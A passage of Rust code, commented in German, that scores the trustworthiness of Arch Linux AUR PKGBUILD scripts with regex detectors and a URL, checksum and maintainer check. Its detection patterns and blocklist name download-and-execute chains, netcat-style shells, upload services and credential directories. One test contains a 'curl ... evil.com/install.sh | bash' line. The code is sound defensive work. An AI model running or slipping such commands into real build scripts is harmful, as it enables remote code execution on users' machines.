(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
// Obfuscation
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
// Netzwerk-Exfiltration
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
// System-Persistenz
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
// Browser/Credential-Zugriff
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
// eBPF
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
];
for (pattern, penalty, desc, critical) in critical_patterns {
let regex = Regex::new(pattern)
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
self.suspicious_patterns.push(SuspiciousPattern {
pattern: regex,
penalty,
description: desc.to_string(),
critical,
});
}
// Blockliste von Kommandos (soweit Regex-technisch möglich)
self.blocklisted_commands = vec![
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
];
Ok(())
}
fn default_trusted_domains() -> HashSet<String> {
let mut domains = HashSet::new();
domains.insert("github.com".to_string());
domains.insert("gitlab.com".to_string());
domains.insert("salsa.debian.org".to_string());
domains.insert("codeberg.org".to_string());
domains.insert("sourceforge.net".to_string());
domains.insert("kernel.org".to_string());
domains.insert("gnu.org".to_string());
domains.insert("apache.org".to_string());
domains.insert("mozilla.org".to_string());
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
domains.insert("crates.io".to_string());
domains.insert("pypi.org".to_string());
domains.insert("archlinux.org".to_string());
domains
}
/// Analysiert einen PKGBUILD-Inhalt
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
let mut score = 100u32;
let mut categories = Vec::new();
let mut warnings = Vec::new();
let mut critical_findings = Vec::new();
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
categories.push(ScoreCategory {
name: "Shell-Script Sicherheit".to_string(),
score: shell_score,
weight: 0.40,
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
});
warnings.extend(shell_warnings);
critical_findings.extend(shell_critical);
score = score.saturating_sub(100 - shell_score);
// 2. Source-URL Verifizierung
let (url_score, url_warnings) = self.analyze_source_url(source_url);
categories.push(ScoreCategory {
name: "Source-URL Vertrauen".to_string(),
score: url_score,
weight: 0.20,
description: "Prüfung der Herkunft des Source-Codes".to_string(),
});
warnings.extend(url_warnings);
score = score.saturating_sub((100 - url_score) / 3);
// 3. Checksum-Qualität
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
categories.push(ScoreCategory {
name: "Checksum Verifizierung".to_string(),
score: checksum_score,
weight: 0.20,
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
});
warnings.extend(checksum_warnings);
score = score.saturating_sub((100 - checksum_score) / 3);
// 4. Maintainer-Heuristiken
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
categories.push(ScoreCategory {
name: "Maintainer-Vertrauen".to_string(),
score: maint_score,
weight: 0.20,
description: "Heuristiken zum Maintainer-Account".to_string(),
});
warnings.extend(maint_warnings);
score = score.saturating_sub((100 - maint_score) / 3);
// Gewichteten Score berechnen
let weighted_score: f32 = categories.iter()
.map(|c| c.score as f32 * c.weight)
.sum();
TrustScore {
overall: weighted_score.round() as u32,
categories,
warnings,
critical_findings,
}
}
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
let mut score = 100u32;
let mut warnings = Vec::new();
let mut critical = Vec::new();
for pattern in &self.suspicious_patterns {
if pattern.pattern.is_match(content) {
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
for cap in captures {
let ctx_start = cap.start().saturating_sub(30);
let ctx_end = (cap.end() + 30).min(content.len());
let context = &content[ctx_start..ctx_end];
let context_clean = context.replace('\n', "\\n");
if pattern.critical {
critical.push(CriticalFinding::RemoteCodeExecution(format!(
"{} (Kontext: ...{}...)",
pattern.description,
context_clean
)));
score = score.saturating_sub(pattern.penalty);
} else {
warnings.push(format!(
"{}: {}",
pattern.description,
context_clean
));
score = score.saturating_sub(pattern.penalty / 2);
}
}
}
}
// Blocklisted Commands
for cmd_regex in &self.blocklisted_commands {
if let Some(mat) = cmd_regex.find(content) {
warnings.push(format!(
"Potentiell gefährlicher Befehl erkannt: {}",
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
));
score = score.saturating_sub(10);
}
}
// Prozentuale Bewertung
(score.min(100), warnings, critical)
}
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
let mut score = 100u32;
let mut warnings = Vec::new();
let url = match url {
Some(u) => u,
None => {
warnings.push("Keine Source-URL gefunden".to_string());
return (50, warnings);
}
};
// HTTPS check
if !url.starts_with("https://") {
warnings.push("Source-URL verwendet kein HTTPS".to_string());
score -= 20;
}
// Domain check
let domain = url.split('/').nth(2).unwrap_or("");
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
if !self.trusted_domains.contains(domain_clean) {
warnings.push(format!(
"Domain '{}' ist nicht in der Trust-Liste",
domain_clean
));
score -= 15;
}
// URL Shortener / Pastebin checks
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|| url.contains("t.co") || url.contains("short.link") {
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
score -= 50;
}
(score.max(0), warnings)
}
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
let mut score = 100u32;
let mut warnings = Vec::new();
// Prüfe auf SHA256/SHA512 (gut)
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
let has_md5 = content.contains("md5sums") || content.contains("md5");
let has_skip = content.contains("SKIP") || content.contains("skip");
if has_sha256 || has_sha512 {
score += 10;
}
if has_md5 && !has_sha256 && !has_sha512 {
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
score -= 30;
}
if has_skip {
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
score -= 40;
}
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
warnings.push("Keine Checksummen definiert".to_string());
score -= 50;
}
(score.max(0).min(100), warnings)
}
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
let mut score = 80u32; // Neutral
let mut warnings = Vec::new();
// Prüfe auf "Contributor" vs "Maintainer"
if !content.contains("# Maintainer:") {
if content.contains("# Contributor:") {
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
score -= 10;
}
}
(score.max(0).min(100), warnings)
}
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
// Minimale Analyse basierend auf pacman -Qi Ausgabe
let mut warnings = Vec::new();
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
}
TrustScore {
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
categories: vec![],
warnings,
critical_findings: vec![],
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_npm_install_detection() {
let scorer = TrustScorer::new().unwrap();
let malicious_pkgbuild = r#"
pkgname=test-malicious
pkgver=1.0
pkgrel=1
build() {
npm install atomic-lockfile
}
"#;
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
assert!(!result.critical_findings.is_empty());
assert!(result.overall < 50);
}
#[test]
fn test_curl_pipe_bash_detection() {
let scorer = TrustScorer::new().unwrap();
let bad_pkgbuild = r#"
pkgname=test-bad
pkgver=1.0
prepare() {
curl -s https://evil.com/install.sh | bash
}
"#;
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
assert!(!result.critical_findings.is_empty());
}
#[test]
fn test_legitimate_pkgbuild() {
let scorer = TrustScorer::new().unwrap();
let good_pkgbuild = r#"
pkgname=hello
pkgver=2.12
pkgrel=1
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
build() {
cd "$pkgname-$pkgver"
./configure --prefix=/usr
make
}
"#;
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
assert!(result.overall > 70);
assert!(result.critical_findings.is_empty());
}
}
+1
View File
@@ -0,0 +1 @@
Unnamed repository; edit this file 'description' to name the repository.